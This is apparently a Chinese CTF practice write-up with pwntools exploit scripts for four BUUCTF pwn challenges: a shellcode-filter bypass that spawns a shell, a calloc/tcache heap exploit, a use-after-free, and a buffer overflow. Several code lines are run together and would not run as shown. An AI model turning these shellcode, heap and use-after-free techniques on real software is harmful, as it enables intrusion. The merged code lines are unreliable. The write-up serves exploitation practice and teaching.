PWN-PRACTICE-BUUCTF-27

starctf_2019_babyshell
picoctf_2018_buffer overflow 0
gyctf_2020_signin
bjdctf_2020_YDSneedGrirlfriend

starctf_2019_babyshell

用\x00绕过shellcode检测，call rdx 跳转过去执行汇编代码，一个\x00必执行失败
于是需要找一条机器码以\x00开始的汇编指令，参考：x86汇编语言杂记

from pwn import *
context.arch='amd64'
#context.log_level='debug'
#io=process('./starctf_2019_babyshell')
io=remote('node4.buuoj.cn',29263)
elf=ELF('./starctf_2019_babyshell')
shellcode='\x00\x42\x00'+asm(shellcraft.sh())
io.recvuntil('plz:\n')
io.sendline(shellcode)
io.interactive()

picoctf_2018_buffer overflow 0

signal函数设置11为目标信号，当程序访问无效地址时，便会触发信号，执行sigsegv_handler函数
vuln函数中存在栈溢出漏洞，覆盖返回地址为无效地址即可

gyctf_2020_signin

calloc分配chunk时，不会从tcache bin中分配，参考：gyctf_2020_signin：ubuntu18.04配合calloc产生的漏洞

# -*- coding:utf-8 -*-
from pwn import *
#io=process("./gyctf_2020_signin")
io=remote("node4.buuoj.cn",26888)
elf=ELF("./gyctf_2020_signin")
libc=ELF("./libc-2.27-18-x64.so")def add(index):io.sendlineafter("your choice?","1")io.sendlineafter("idx?\n",str(index))
def edit(index,content):io.sendlineafter("your choice?","2")io.sendlineafter("idx?\n",str(index))io.sendline(content)
def free(index):io.sendlineafter("your choice?","3")io.sendlineafter("idx?\n",str(index))
def backdoor():io.sendlineafter("your choice?","6")ptr=0x4040C0for i in range(8):add(i)
for i in range(8):free(i)
add(8)
edit(7,p64(ptr-0x10))
backdoor()
io.interactive()

bjdctf_2020_YDSneedGrirlfriend

UAF，参考：bjdctf_2020_YDSneedGrirlfriend

# -*- coding:utf-8 -*-
from pwn import *
#io=process("./bjdctf_2020_YDSneedGrirlfriend")
io=remote("node4.buuoj.cn",25051)
elf=ELF("./bjdctf_2020_YDSneedGrirlfriend")
libc=ELF("./libc-2.23.so")def add(name_size,name):io.sendlineafter("Your choice :","1")io.sendlineafter("Her name size is :",str(name_size))io.sendlineafter("Her name is :",name)
def free(index):io.sendlineafter("Your choice :","2")io.sendlineafter("Index :",str(index))
def show(index):io.sendlineafter("Your choice :","3")io.sendlineafter("Index :",str(index))
def exit():io.sendlineafter("Your choice :","4")backdoor=0x400B9C#gdb.attach(io)
#pause()add(0x10,"aaaa")#0
add(0x10,"bbbb")#1#pause()free(0)#pause()free(0)#pause()add(0x20,"cccc")#pause()add(0x10,p64(backdoor))#pause()show(0)io.interactive()

PWN-PRACTICE-BUUCTF-27相关推荐

金海佳学C++primer 练习9.27
查找并删除forward_list中的奇数元素 Practice 9.27 #include <iostream> #include <string> #include < ...
abovedisplayskip无效_初学latex的模板，里面有错，哪位大神能不能帮忙看看啊？不甚感激！...
\documentclass[twoside,CJK]{cctart} \usepackage{headrule,vatola,amssymb} \usepackage{graphicx,multir ...
共享单车调度_共享单车调度模型及算法研究
［1］周进.互联网共享单车对出行方式选择及交通运行的影响［C］∥2017城市发展与规划论文集.海口:中国城市科学研究会,2017:412-418. ZHOU Jin. The impact of A ...
持续更新 BUUCTF——PWN（二）
文章目录前言 0ctf_2017_babyheap ciscn_2019_s_9 hitcon2014_stkof roarctf_2019_easy_pwn picoctf_2018_shellc ...
持续更新 BUUCTF——PWN（一）
文章目录前言 test_your_nc rip warmup_csaw_2016 ciscn_2019_n_1 pwn1_sctf_2016 jarvisoj_level0 [第五空间2019 决赛 ...
持续更新 BUUCTF——PWN（三）
文章目录前言 axb_2019_heap oneshot_tjctf_2016 护网杯_2018_gettingstart wustctf2020_number_game zctf2016_note ...
BUUCTF Pwn warmup
BUUCTF Pwn warmup 1.题目下载地址 2.checksec检查保护 3.IDA静态分析 4.exp 1.题目下载地址点击下载题目 2.checksec检查保护啥都没开,果然是war ...
[PWN] BUUCTF jarvisoj_fm
[PWN] BUUCTF jarvisoj_fm 按照惯例checksec ,开启了relro,canary,nx 执行程序,观察程序的逻辑,在打印出输入的字符后,会打印出3! 32IDA打开查看主要 ...
BUUCTF pwn wp 76 - 80
cmcc_pwnme2 int __cdecl userfunction(char *src) {char dest[108]; // [esp+Ch] [ebp-6Ch] BYREFstrcpy(d ...
BUUCTF PWN rip1 WP
BUUCTF PWN rip 1 这是一个WP,也是一个自己练习过程的记录. 先把文件放入pwn机中检查一下,发现并没有开启保护,所以应该是一道简单题我们运行一下试试,它让你输入一段字符然后 ...

PWN-PRACTICE-BUUCTF-27

PWN-PRACTICE-BUUCTF-27

starctf_2019_babyshell

picoctf_2018_buffer overflow 0

gyctf_2020_signin

bjdctf_2020_YDSneedGrirlfriend

PWN-PRACTICE-BUUCTF-27相关推荐

最新文章

热门文章